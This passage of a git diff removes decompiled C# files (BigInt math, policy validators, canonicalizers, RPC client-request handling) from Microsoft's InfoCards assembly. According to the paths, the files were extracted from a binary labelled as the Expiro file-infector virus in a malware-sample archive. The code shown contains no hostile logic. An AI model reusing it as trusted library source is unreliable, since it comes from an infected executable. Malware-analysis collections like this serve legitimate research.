return false; - } - - public static bool operator >(BigInt value1, BigInt value2) - { - if (value1 == (BigInt) null) - return false; - if (value2 == (BigInt) null) - return true; - int size1 = value1.Size; - int size2 = value2.Size; - if (size1 != size2) - return size1 > size2; - while (size1-- > 0) - { - if ((int) value1.m_elements[size1] != (int) value2.m_elements[size1]) - return (int) value1.m_elements[size1] > (int) value2.m_elements[size1]; - } - return false; - } - - public static bool operator ==(BigInt value1, BigInt value2) - { - if ((object) value1 == null) - return (object) value2 == null; - if ((object) value2 == null) - return (object) value1 == null; - int size1 = value1.Size; - int size2 = value2.Size; - if (size1 != size2) - return false; - for (int index = 0; index < size1; ++index) - { - if ((int) value1.m_elements[index] != (int) value2.m_elements[index]) - return false; - } - return true; - } - - public static bool operator !=(BigInt value1, BigInt value2) => !(value1 == value2); - - public override bool Equals(object obj) - { - BigInt bigInt = obj as BigInt; - return (BigInt) null != bigInt && bigInt == this; - } - - public override int GetHashCode() - { - int hashCode = 0; - for (int index = 0; index < this.m_size; ++index) - hashCode += (int) this.GetDigit(index); - return hashCode; - } - - internal static void Add(BigInt a, byte b, ref BigInt c) - { - byte digit = b; - int size1 = a.Size; - int size2 = 0; - for (int index = 0; index < size1; ++index) - { - int num = (int) a.GetDigit(index) + (int) digit; - c.SetDigit(index, (byte) (num & (int) byte.MaxValue), ref size2); - digit = (byte) (num >> 8 & (int) byte.MaxValue); - } - if (digit != (byte) 0) - c.SetDigit(a.Size, digit, ref size2); - c.Size = size2; - } - - internal static void Negate(ref BigInt a) - { - int size = 0; - for (int index = 0; index < 128; ++index) - a.SetDigit(index, (byte) ((uint) ~a.GetDigit(index) & (uint) byte.MaxValue), ref size); - for (int index = 0; index < 128; ++index) - { - a.SetDigit(index, (byte) ((uint) a.GetDigit(index) + 1U), ref size); - if (((int) a.GetDigit(index) & (int) byte.MaxValue) == 0) - a.SetDigit(index, (byte) ((uint) a.GetDigit(index) & (uint) byte.MaxValue), ref size); - else - break; - } - a.Size = size; - } - - internal static void Subtract(BigInt a, BigInt b, ref BigInt c) - { - byte num1 = 0; - if (a < b) - { - BigInt.Subtract(b, a, ref c); - BigInt.Negate(ref c); - } - else - { - int size1 = a.Size; - int size2 = 0; - for (int index = 0; index < size1; ++index) - { - int num2 = (int) a.GetDigit(index) - (int) b.GetDigit(index) - (int) num1; - num1 = (byte) 0; - if (num2 < 0) - { - num2 += 256; - num1 = (byte) 1; - } - c.SetDigit(index, (byte) (num2 & (int) byte.MaxValue), ref size2); - } - c.Size = size2; - } - } - - private void Multiply(int b) - { - if (b == 0) - { - this.Clear(); - } - else - { - int num1 = 0; - int size1 = this.Size; - int size2 = 0; - for (int index = 0; index < size1; ++index) - { - int num2 = b * (int) this.GetDigit(index) + num1; - num1 = num2 / 256; - this.SetDigit(index, (byte) (num2 % 256), ref size2); - } - if (num1 != 0) - { - byte[] bytes = BitConverter.GetBytes(num1); - for (int index = 0; index < bytes.Length; ++index) - this.SetDigit(size1 + index, bytes[index], ref size2); - } - this.Size = size2; - } - } - - private static void Multiply(BigInt a, int b, ref BigInt c) - { - if (b == 0) - { - c.Clear(); - } - else - { - int num1 = 0; - int size1 = a.Size; - int size2 = 0; - for (int index = 0; index < size1; ++index) - { - int num2 = b * (int) a.GetDigit(index) + num1; - num1 = num2 / 256; - c.SetDigit(index, (byte) (num2 % 256), ref size2); - } - if (num1 != 0) - { - byte[] bytes = BitConverter.GetBytes(num1); - for (int index = 0; index < bytes.Length; ++index) - c.SetDigit(size1 + index, bytes[index], ref size2); - } - c.Size = size2; - } - } - - private void Divide(int b) - { - int num1 = 0; - int size1 = this.Size; - int size2 = 0; - while (size1-- > 0) - { - int num2 = 256 * num1 + (int) this.GetDigit(size1); - num1 = num2 % b; - this.SetDigit(size1, (byte) (num2 / b), ref size2); - } - this.Size = size2; - } - - internal static void Divide( - BigInt numerator, - BigInt denominator, - ref BigInt quotient, - ref BigInt remainder) - { - if (numerator < denominator) - { - quotient.Clear(); - remainder.CopyFrom(numerator); - } - else if (numerator == denominator) - { - quotient.Clear(); - quotient.SetDigit(0, (byte) 1); - remainder.Clear(); - } - else - { - BigInt c1 = new BigInt(); - c1.CopyFrom(numerator); - BigInt a = new BigInt(); - a.CopyFrom(denominator); - uint num = 0; - while (a.Size < c1.Size) - { - a.Multiply(256); - ++num; - } - if (a > c1) - { - a.Divide(256); - --num; - } - BigInt c2 = new BigInt(); - quotient.Clear(); - for (int index = 0; (long) index <= (long) num; ++index) - { - int b = (c1.Size == a.Size ? (int) c1.GetDigit(c1.Size - 1) : 256 * (int) c1.GetDigit(c1.Size - 1) + (int) c1.GetDigit(c1.Size - 2)) / (int) a.GetDigit(a.Size - 1); - if (b >= 256) - b = (int) byte.MaxValue; - BigInt.Multiply(a, b, ref c2); - while (c2 > c1) - { - --b; - BigInt.Multiply(a, b, ref c2); - } - quotient.Multiply(256); - BigInt.Add(quotient, (byte) b, ref quotient); - BigInt.Subtract(c1, c2, ref c1); - a.Divide(256); - } - remainder.CopyFrom(c1); - } - } - - internal void CopyFrom(BigInt a) - { - Array.Copy((Array) a.m_elements, (Array) this.m_elements, 128); - this.m_size = a.m_size; - } - - internal bool IsZero() - { - for (int index = 0; index < this.m_size; ++index) - { - if (this.m_elements[index] != (byte) 0) - return false; - } - return true; - } - - internal byte[] ToByteArray() - { - byte[] destinationArray = new byte[this.Size]; - Array.Copy((Array) this.m_elements, (Array) destinationArray, this.Size); - return destinationArray; - } - - internal void Clear() => this.m_size = 0; - - internal void FromDecimal(string decNum) - { - BigInt c1 = new BigInt(); - BigInt c2 = new BigInt(); - int length = decNum.Length; - for (int index = 0; index < length; ++index) - { - if (decNum[index] > '9' || decNum[index] < '0') - throw InfoCardTrace.ThrowHelperError((Exception) new FormatException()); - BigInt.Multiply(c1, 10, ref c2); - BigInt.Add(c2, (byte) ((uint) decNum[index] - 48U), ref c1); - } - this.CopyFrom(c1); - } - - internal string ToDecimal() - { - BigInt denominator = new BigInt((byte) 10); - BigInt numerator = new BigInt(); - BigInt quotient = new BigInt(); - BigInt remainder = new BigInt(); - numerator.CopyFrom(this); - char[] chArray = new char[8 * this.m_size / 3]; - int length = 0; - do - { - BigInt.Divide(numerator, denominator, ref quotient, ref remainder); - chArray[length++] = BigInt.decValues[(int) remainder.m_elements[0]]; - numerator.CopyFrom(quotient); - } - while (!quotient.IsZero()); - Array.Reverse((Array) chArray, 0, length); - return new string(chArray, 0, length); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/BrowserPolicyValidator.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/BrowserPolicyValidator.cs deleted file mode 100644 index 9330b161..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/BrowserPolicyValidator.cs +++ /dev/null @@ -1,26 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.BrowserPolicyValidator -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -namespace Microsoft.InfoCards -{ - internal class BrowserPolicyValidator : PolicyValidator - { - public BrowserPolicyValidator(InfoCardPolicy policy) - : base(policy) - { - } - - public override void Validate() - { - this.ValidateClaims(); - this.ValidateNonWhiteListElements(); - this.ValidateRequestType(); - this.ValidateTokenType(); - this.ValidatePrivacyVersion(); - this.ValidateRecipients(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/CancelAsyncOperationRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/CancelAsyncOperationRequest.cs deleted file mode 100644 index d767f488..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/CancelAsyncOperationRequest.cs +++ /dev/null @@ -1,39 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.CancelAsyncOperationRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class CancelAsyncOperationRequest : UIAgentRequest - { - private int m_asyncHandle; - - public CancelAsyncOperationRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - this.m_asyncHandle = new InfoCardBinaryReader(this.InArgs, Encoding.Unicode).ReadInt32(); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_asyncHandle, "asyncHandle"); - } - - protected override void OnMarshalOutArgs() - { - } - - protected override void OnProcess() => this.ParentRequest.CancelAsyncOp(this.m_asyncHandle); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/Canonicalizers.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/Canonicalizers.cs deleted file mode 100644 index a9ada522..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/Canonicalizers.cs +++ /dev/null @@ -1,248 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.Canonicalizers -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Globalization; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal sealed class Canonicalizers - { - private static ICanonicalizer s_binary; - private static ICanonicalizer s_caseInsensitiveWithHashing; - private static ICanonicalizer s_caseSensitiveWithHashing; - private static ICanonicalizer s_binaryWithHashing; - - private Canonicalizers() - { - } - - public static ICanonicalizer CaseInsensitiveWithHashing - { - get - { - if (Canonicalizers.s_caseInsensitiveWithHashing == null) - Canonicalizers.s_caseInsensitiveWithHashing = (ICanonicalizer) new Canonicalizers.CaseInsensitiveCanonicalizer(true, Encoding.Unicode, CultureInfo.InvariantCulture); - return Canonicalizers.s_caseInsensitiveWithHashing; - } - } - - public static ICanonicalizer CaseSensitiveWithHashing - { - get - { - if (Canonicalizers.s_caseSensitiveWithHashing == null) - Canonicalizers.s_caseSensitiveWithHashing = (ICanonicalizer) new Canonicalizers.CaseSensitiveCanonicalizer(true, Encoding.Unicode, CultureInfo.InvariantCulture); - return Canonicalizers.s_caseSensitiveWithHashing; - } - } - - public static ICanonicalizer Binary - { - get - { - if (Canonicalizers.s_binary == null) - Canonicalizers.s_binary = (ICanonicalizer) new Canonicalizers.BinaryCanonicalizer(false); - return Canonicalizers.s_binary; - } - } - - public static ICanonicalizer BinaryWithHashing - { - get - { - if (Canonicalizers.s_binaryWithHashing == null) - Canonicalizers.s_binaryWithHashing = (ICanonicalizer) new Canonicalizers.BinaryCanonicalizer(true); - return Canonicalizers.s_binaryWithHashing; - } - } - - private delegate byte[] CanonicalizeObjectCallback(object dataToHash); - - private abstract class CanonicalizerBase : ICanonicalizer - { - private bool m_hashValue; - - public CanonicalizerBase(bool hashValue) => this.m_hashValue = hashValue; - - public byte[] Canonicalize(object obj) - { - byte[] dataToHash = obj != null ? this.GetRawForm(obj) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (obj)); - if (!this.m_hashValue) - return dataToHash; - byte[] data = new byte[HashUtility.HashBufferLength]; - HashUtility.SetHashValue(data, 0, dataToHash); - return data; - } - - public abstract bool CanCanonicalize(object obj); - - protected abstract byte[] GetRawForm(object obj); - } - - private class BinaryCanonicalizer : Canonicalizers.CanonicalizerBase - { - private Dictionary m_canonicalizers; - - public BinaryCanonicalizer(bool hashValue) - : base(hashValue) - { - this.m_canonicalizers = new Dictionary(); - this.CreateCanonicalizers(); - } - - public override bool CanCanonicalize(object obj) => obj != null ? this.m_canonicalizers.ContainsKey(obj.GetType()) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (obj)); - - private void CreateCanonicalizers() - { - this.m_canonicalizers.Add(typeof (short), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeInt16)); - this.m_canonicalizers.Add(typeof (ushort), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeUInt16)); - this.m_canonicalizers.Add(typeof (int), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeInt32)); - this.m_canonicalizers.Add(typeof (uint), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeUInt32)); - this.m_canonicalizers.Add(typeof (long), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeInt64)); - this.m_canonicalizers.Add(typeof (ulong), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeUInt64)); - this.m_canonicalizers.Add(typeof (byte), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeByte)); - this.m_canonicalizers.Add(typeof (byte[]), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeByteArray)); - this.m_canonicalizers.Add(typeof (string), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeString)); - this.m_canonicalizers.Add(typeof (Guid), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeGuid)); - this.m_canonicalizers.Add(typeof (GlobalId), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeGlobalId)); - } - - protected override byte[] GetRawForm(object obj) => this.m_canonicalizers[obj.GetType()](obj); - - private byte[] CanonicalizeGlobalId(object data) => data != null ? ((Guid) (GlobalId) data).ToByteArray() : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - - private byte[] CanonicalizeGuid(object data) => data != null ? ((Guid) data).ToByteArray() : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - - private unsafe byte[] CanonicalizeInt16(object data) - { - short num = data != null ? (short) data : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - byte[] numArray = new byte[2]; - fixed (byte* numPtr = &numArray[0]) - *(short*) numPtr = num; - return numArray; - } - - private unsafe byte[] CanonicalizeUInt16(object data) - { - ushort num = data != null ? (ushort) data : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - byte[] numArray = new byte[2]; - fixed (byte* numPtr = &numArray[0]) - *(short*) numPtr = (short) num; - return numArray; - } - - private unsafe byte[] CanonicalizeInt32(object data) - { - int num = data != null ? (int) data : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - byte[] numArray = new byte[4]; - fixed (byte* numPtr = &numArray[0]) - *(int*) numPtr = num; - return numArray; - } - - private unsafe byte[] CanonicalizeUInt32(object data) - { - uint num = data != null ? (uint) data : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - byte[] numArray = new byte[4]; - fixed (byte* numPtr = &numArray[0]) - *(int*) numPtr = (int) num; - return numArray; - } - - private unsafe byte[] CanonicalizeInt64(object data) - { - long num = data != null ? (long) data : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - byte[] numArray = new byte[8]; - fixed (byte* numPtr = &numArray[0]) - *(long*) numPtr = num; - return numArray; - } - - private unsafe byte[] CanonicalizeUInt64(object data) - { - ulong num = data != null ? (ulong) data : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - byte[] numArray = new byte[8]; - fixed (byte* numPtr = &numArray[0]) - *(long*) numPtr = (long) num; - return numArray; - } - - private byte[] CanonicalizeString(object data) - { - string s = data != null ? (string) data : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - return !string.IsNullOrEmpty(s) ? Encoding.Unicode.GetBytes(s) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - } - - private byte[] CanonicalizeByte(object data) => data != null ? new byte[1] - { - (byte) data - } : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - - private byte[] CanonicalizeByteArray(object data) => data != null ? (byte[]) data : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - } - - private abstract class StringCanonicalizerBase : Canonicalizers.CanonicalizerBase - { - private static readonly Type[] s_validTypes = new Type[2] - { - typeof (string), - typeof (Uri) - }; - private Encoding m_encoding; - private CultureInfo m_culture; - - protected StringCanonicalizerBase(bool hashValue, Encoding encoding, CultureInfo culture) - : base(hashValue) - { - if (encoding == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (encoding)); - this.m_culture = culture != null ? culture : CultureInfo.InvariantCulture; - this.m_encoding = encoding; - } - - protected virtual Type[] SupportedTypes => Canonicalizers.StringCanonicalizerBase.s_validTypes; - - public CultureInfo Culture => this.m_culture; - - public Encoding Encoding => this.m_encoding; - - public override bool CanCanonicalize(object obj) - { - if (obj == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (obj)); - return this.SupportedTypes != null && -1 != Array.IndexOf(this.SupportedTypes, obj.GetType()); - } - - protected override byte[] GetRawForm(object obj) => this.GetBytesFromString(obj.ToString()); - - protected abstract byte[] GetBytesFromString(string data); - } - - private class CaseSensitiveCanonicalizer : Canonicalizers.StringCanonicalizerBase - { - public CaseSensitiveCanonicalizer(bool hashValue, Encoding encoding, CultureInfo culture) - : base(hashValue, encoding, culture) - { - } - - protected override byte[] GetBytesFromString(string data) => this.Encoding.GetBytes(data); - } - - private class CaseInsensitiveCanonicalizer : Canonicalizers.StringCanonicalizerBase - { - public CaseInsensitiveCanonicalizer(bool hashValue, Encoding encoding, CultureInfo culture) - : base(hashValue, encoding, culture) - { - } - - protected override byte[] GetBytesFromString(string obj) => this.Encoding.GetBytes(this.Culture.TextInfo.ToUpper(obj)); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/CheckStoreFileValidityRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/CheckStoreFileValidityRequest.cs deleted file mode 100644 index 9975be46..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/CheckStoreFileValidityRequest.cs +++ /dev/null @@ -1,77 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.CheckStoreFileValidityRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Text; -using System.Xml; -using System.Xml.Schema; - -namespace Microsoft.InfoCards -{ - internal class CheckStoreFileValidityRequest : UIAgentRequest - { - private string m_filename; - private bool m_valid = true; - - public CheckStoreFileValidityRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnInitializeAsSystem() => base.OnInitializeAsSystem(); - - protected override void OnMarshalInArgs() => this.m_filename = Utility.DeserializeString((BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode)); - - protected override void OnProcess() - { - try - { - try - { - using (FileStream fileStream = File.OpenRead(this.m_filename)) - { - XmlReaderSettings defaultReaderSettings = InfoCardSchemas.CreateDefaultReaderSettings(); - defaultReaderSettings.IgnoreWhitespace = false; - using (XmlReader reader = InfoCardSchemas.CreateReader((Stream) fileStream, defaultReaderSettings)) - { - if (reader.IsStartElement("EncryptedStore", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - return; - this.m_valid = false; - } - } - } - catch (XmlSchemaValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("SchemaValidationFailed"), (Exception) ex)); - } - catch (UnauthorizedAccessException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("ImportInaccesibleFile"), (Exception) ex)); - } - catch (IOException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"), (Exception) ex)); - } - catch (XmlException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"), (Exception) ex)); - } - } - catch (ImportException ex) - { - this.m_valid = false; - } - } - - protected override void OnMarshalOutArgs() => new BinaryWriter(this.OutArgs).Write(this.m_valid); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ClientRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ClientRequest.cs deleted file mode 100644 index 0b32a178..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ClientRequest.cs +++ /dev/null @@ -1,405 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ClientRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections; -using System.Collections.Generic; -using System.Collections.Specialized; -using System.ComponentModel; -using System.Diagnostics; -using System.IO; -using System.Runtime.CompilerServices; -using System.Security; -using System.Security.Cryptography.X509Certificates; -using System.Security.Principal; -using System.Threading; - -namespace Microsoft.InfoCards -{ - internal abstract class ClientRequest : Request - { - private const int OutstandingCallWaitTime = 30000; - private IDictionary m_asyncOps; - private IDictionary m_cachedCerts; - private Process m_callerProcess; - private WindowsIdentity m_callerIdentity; - private Dictionary m_contextBag; - private object m_serviceAsyncSyncRoot; - private ClientRequest.ServiceAsyncOperation m_serviceAsyncOperation; - private bool m_cancelled; - private bool m_untrusted; - - public static Process GetCallingProcessFromRpcHandle(IntPtr RpcHandle) - { - uint pid; - if (NativeMethods.I_RpcBindingInqLocalClientPID(RpcHandle, out pid) != 0U) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceErrorGettingClientPid"))); - Process processFromRpcHandle = (Process) null; - bool flag1 = false; - bool flag2 = false; - while (!flag1) - { - flag1 = true; - try - { - if (flag2) - NativeMcppMethods.AddSystemAccessToProcess(RpcHandle, pid); - processFromRpcHandle = ProcessMonitor.GetProcessById((int) pid); - } - catch (ArgumentException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new UserCancelledException()); - } - catch (Win32Exception ex) - { - bool flag3 = false; - if (5 == ex.NativeErrorCode && !flag2) - { - flag1 = false; - flag2 = true; - flag3 = true; - } - if (!flag3) - throw InfoCardTrace.ThrowHelperError((Exception) new SecurityException(SR.GetString("ClientAPIInfocardError"), (Exception) ex)); - } - } - return processFromRpcHandle; - } - - public ClientRequest( - Process callingProcess, - WindowsIdentity userIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : this(callingProcess, userIdentity, rpcHandle, inArgs, outArgs, ExceptionList.AllNonFatal) - { - } - - public ClientRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ExceptionList recoverableExceptions) - : base(rpcHandle, inArgs, outArgs, recoverableExceptions) - { - InfoCardTrace.ThrowInvalidArgumentConditional(null == callingProcess, nameof (callingProcess)); - InfoCardTrace.ThrowInvalidArgumentConditional(null == callingIdentity, "userIdentity"); - InfoCardTrace.ThrowInvalidArgumentConditional(IntPtr.Zero == rpcHandle, nameof (rpcHandle)); - InfoCardTrace.ThrowInvalidArgumentConditional(null == inArgs, nameof (inArgs)); - InfoCardTrace.ThrowInvalidArgumentConditional(null == outArgs, nameof (outArgs)); - this.m_callerProcess = callingProcess; - this.m_callerIdentity = callingIdentity; - this.m_contextBag = new Dictionary(); - this.m_serviceAsyncSyncRoot = new object(); - InfoCardService.LifeTimeMonitor.AddClient(); - } - - public override WindowsIdentity RequestorIdentity => this.m_callerIdentity; - - public Process CallerProcess => this.m_callerProcess; - - public uint CallerPid => (uint) this.CallerProcess.Id; - - protected override void OnInitializeAsSystem() - { - if (this.CallerProcess.HasExited) - throw InfoCardTrace.ThrowHelperError((Exception) new UserCancelledException()); - } - - public T GetContext() - { - object obj = (object) null; - return this.m_contextBag.TryGetValue(typeof (T), out obj) ? (T) obj : default (T); - } - - public void SetContext(T value) => this.m_contextBag[typeof (T)] = (object) value; - - public void ClearContext() => this.m_contextBag.Remove(typeof (T)); - - public void AddAsyncOp(RpcAsyncResult async) - { - lock (this.SyncRoot) - { - if (this.m_asyncOps == null) - this.m_asyncOps = (IDictionary) new HybridDictionary(); - this.m_asyncOps[(object) async.Handle] = (object) async; - } - } - - public void CancelAsyncOp(int handle) - { - lock (this.SyncRoot) - { - if (this.m_asyncOps == null || !this.m_asyncOps.Contains((object) handle)) - return; - ((RpcAsyncResult) this.m_asyncOps[(object) handle]).Cancel(); - } - } - - public void RemoveAsyncOp(int handle) - { - lock (this.SyncRoot) - this.m_asyncOps.Remove((object) handle); - } - - private RpcAsyncResult FindAsyncOp(int handle) - { - lock (this.SyncRoot) - return (RpcAsyncResult) this.m_asyncOps[(object) handle]; - } - - protected void CheckIfAllAsyncOpsCompleted() - { - lock (this.SyncRoot) - { - if (this.m_asyncOps == null) - return; - foreach (RpcAsyncResult rpcAsyncResult in (IEnumerable) this.m_asyncOps.Values) - ; - } - } - - public RpcAsyncResult WaitForAsyncCompletion(int handle) - { - RpcAsyncResult asyncOp = this.FindAsyncOp(handle); - if (asyncOp == null) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceInvalidAsyncHandle"))); - asyncOp.AsyncWaitHandle.WaitOne(); - Exception exception = asyncOp.Exception; - if (exception != null) - throw new InfoCardRequestException(SR.GetString("ServiceAsyncOpGeneratedException"), exception); - return asyncOp; - } - - public void CertCacheAdd(string recipientIdentifier, X509Certificate2 cert) - { - lock (this.SyncRoot) - { - if (this.m_cachedCerts == null) - this.m_cachedCerts = (IDictionary) new HybridDictionary(); - this.m_cachedCerts[(object) recipientIdentifier] = (object) cert; - } - } - - public X509Certificate2 CertCacheFind(string recipientId) - { - lock (this.SyncRoot) - return (X509Certificate2) this.m_cachedCerts[(object) recipientId]; - } - - public static uint Authorize(IntPtr rpcIfHandle, IntPtr context) - { - uint num = 5; - InfoCardTrace.ThrowInvalidArgumentConditional(IntPtr.Zero == rpcIfHandle, nameof (rpcIfHandle)); - InfoCardTrace.ThrowInvalidArgumentConditional(IntPtr.Zero == context, nameof (context)); - try - { - using (WindowsIdentity windowsIdentity = Utility.GetWindowsIdentity(context)) - { - if (!windowsIdentity.IsAuthenticated) - throw InfoCardTrace.ThrowHelperError((Exception) new SecurityException()); - if (!ClientRequest.ValidateToken(context, windowsIdentity)) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceInvalidCallerToken"))); - num = 0U; - } - } - catch (RuntimeWrappedException ex) - { - InfoCardTrace.TraceAndLogException((Exception) ex); - InfoCardService.Crash(); - } - catch (SecurityException ex) - { - InfoCardTrace.Assert(5U == num, "Unexpected value for err!"); - } - catch (InfoCardBaseException ex) - { - throw; - } - catch (Exception ex) - { - if 